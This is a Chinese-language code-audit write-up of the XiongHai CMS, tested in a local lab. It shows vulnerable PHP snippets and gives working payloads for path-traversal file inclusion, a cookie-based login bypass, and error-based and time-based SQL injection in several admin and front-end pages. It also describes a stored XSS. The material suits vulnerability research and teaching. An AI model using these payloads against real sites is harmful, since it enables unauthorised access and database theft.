[代码审计]熊海cms

admin 2025年1月11日12:20:09评论9 views字数 2469阅读8分13秒阅读模式

0x00前言

好些天没写文章了,今天给大家分享一篇对于熊海cms的审计
本文所使用的环境为phpstudy的php5.2.17版本+apache

0x01正文

看过我之前文章的朋友知道:在审计之前,我们可以通过查询CNVD来知道准备审计的cms存在的漏洞。这样可以更方便于我们来挖掘,复现漏洞
[代码审计]熊海cms

  • 文件包含漏洞(admin/index.php)

当我看到cnvd的第一个漏洞是登入绕过的时候(一个个来),我们先打开后台地址看看
[代码审计]熊海cms

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

我们可以发现 $file=addslashes($_GET['r']);对于r的输入进行了过滤
[代码审计]熊海cms

include('files/'.$action.'.php');但是这里我们可以发现$action是可控的,即输入的参数是可控的(即使是存在魔术引号)。
这个情况与我之前审计bluecms时候类似。我贴一张当时的图
[代码审计]熊海cms

我们先建个txt[代码审计]熊海cms

最后效果[代码审计]熊海cms

payload:/admin/?r=../../1.txt.......................................................................................................................................................................................................................................................................................................................................................................................................

  • 文件包含漏洞(index.php)

该处漏洞与上面相同

  • 登入绕过漏洞(cookie)

当我在抓后台包的时候我发现cookie处
[代码审计]熊海cms

经过查看文件源码,我们来到checklogin.php
[代码审计]熊海cms

可以发现。当cookie为空的时候,就跳转到了登入页面。那么不为空的时候呢,这里就成功的绕过了登入。

  • SQL注入漏洞(admin/files/login.php)

[代码审计]熊海cms

当&login不为空时候,执行下面的sql语句。且我们可以发现user并未进行过滤,并且
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());这里可以执行报错注入以及盲注。效果如下
[代码审计]熊海cms

payload:user=admin1' and extractvalue(1,concat(0x7e,(select database())))--+&password=123456&login=yes
  • SQL注入(/admin/files/editwz.php与/admin/files/editcolumn.php)

我们利用全局搜索的方法来寻找select类型的注入(与上一个同理)
[代码审计]熊海cms

  • SQL注入(/files/content.php与/files/software.php)

[代码审计]熊海cms

这里可以发现输入的变量经过addslashes的过滤。不过我们依旧可以利用报错注入或者时间盲注来执行
[代码审计]熊海cms

payload:xhcms/?r=content&cid=1%20and%20extractvalue(1,concat(0x7e,(select%20database())))

-SQL注入(/admin/files/manageinfo.php)
这里是cookie处存在注入,方法如上文所示,不在复述
[代码审计]熊海cms

-insertSQL注入(/admin/files/newlink.php)
[代码审计]熊海cms

$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误:'.mysql_error());

太简单了直接上
payload:1' and sleep(10),'http://535yx.cn','[email protected]','jieshao','xs',now()) #

[代码审计]熊海cms

-delectSQL注入(/admin/files/linklist.php)

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM link WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的链接已经成功删除!');location.href='?r=linklist'</script>";
exit; 

直接上

payload:/admin/?r=linklist&delete=1%27%20and%20sleep(10)--+

-存储xss漏洞(/admin/files/l ink.php)x2
[代码审计]熊海cms

可以发现,这里对于输入并未有过滤,而name和url是我们刚才在newl ink.php处可控的。所以说这里存在着存储xss
[代码审计]熊海cms

[代码审计]熊海cms

[代码审计]熊海cms

0x02结尾

这里sql注入漏洞太多啦。我就不继续说了,有兴趣的朋友可以再挖挖还有哪里存在sql注入漏洞
让我们一起加油
[代码审计]熊海cms

©著作权归作者所有 - source: 535yx.cn

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日12:20:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [代码审计]熊海cmshttp://cn-sec.com/archives/3619218.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息